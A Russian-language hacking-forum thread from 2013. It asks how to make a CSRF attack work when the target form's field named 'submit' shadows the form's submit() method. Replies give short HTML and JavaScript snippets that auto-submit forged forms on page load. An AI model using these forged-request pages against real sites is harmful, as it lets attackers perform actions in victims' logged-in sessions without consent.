CSRF С именем элемента "submit"

Discussion in 'Уязвимости' started by randman, 29 Jan 2013.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Вариант 1:
    PHP:
    <form id="F1">
        <
    input type="text" name="submit" value="1234" />
    </
    form>
    <
    script>
    document.getElementById('F1').submit();
    </script>
    Вариант 2:
    PHP:
    <form id="F1">
        <
    input type="text" name="admin" value="1234" />
    </
    form>
    <
    script>
    document.getElementById('F1').submit();
    </script>
    Так вот 1-ый вариант не работает из-за того, что мы переопределили submit, хотя с вторым всё нормально.
    Вариант 3:
    PHP:
    <form id="F1" method="post" action="http://127.0.0.1/m">
        <
    script>
            var 
    abc document.getElementById('F1').submit();
        
    </script>
        <input type="text" name="abcd" value="1234" />
        <input type="submit" name="dd" value="f1234" />
    </form>
    <script>
    abc();
    </script>
    ...вообще не отправляет данные. Вопрос, как в таком случае можно реализовать атаку. Как-бы элементы не создавались(Напрямую в DOM аналогично), атака не удается. Нажим на кнопку формы браузеры блокируют.

    Firefox 17
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    HTML:
    <form id="F1"></form>
    <script>
    var echo = function() {
    var input = document.createElement("input");
    input.value = "asdadasdasd";
    input.name = "submit";
    document.getElementById("F1").appendChild(input);
    }
    document.getElementById('F1').submit(echo());
    </script> 
     
    _________________________
    1 person likes this.
  3. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    HTML:
     <body onload="document.getElementById('F1').submit();">
    <form id='F1' action="">
     <input type="text" name="admin" value="1234" />
    <input class="defbutton" type="submit" >
    </form>
    Как вариант
     
    _________________________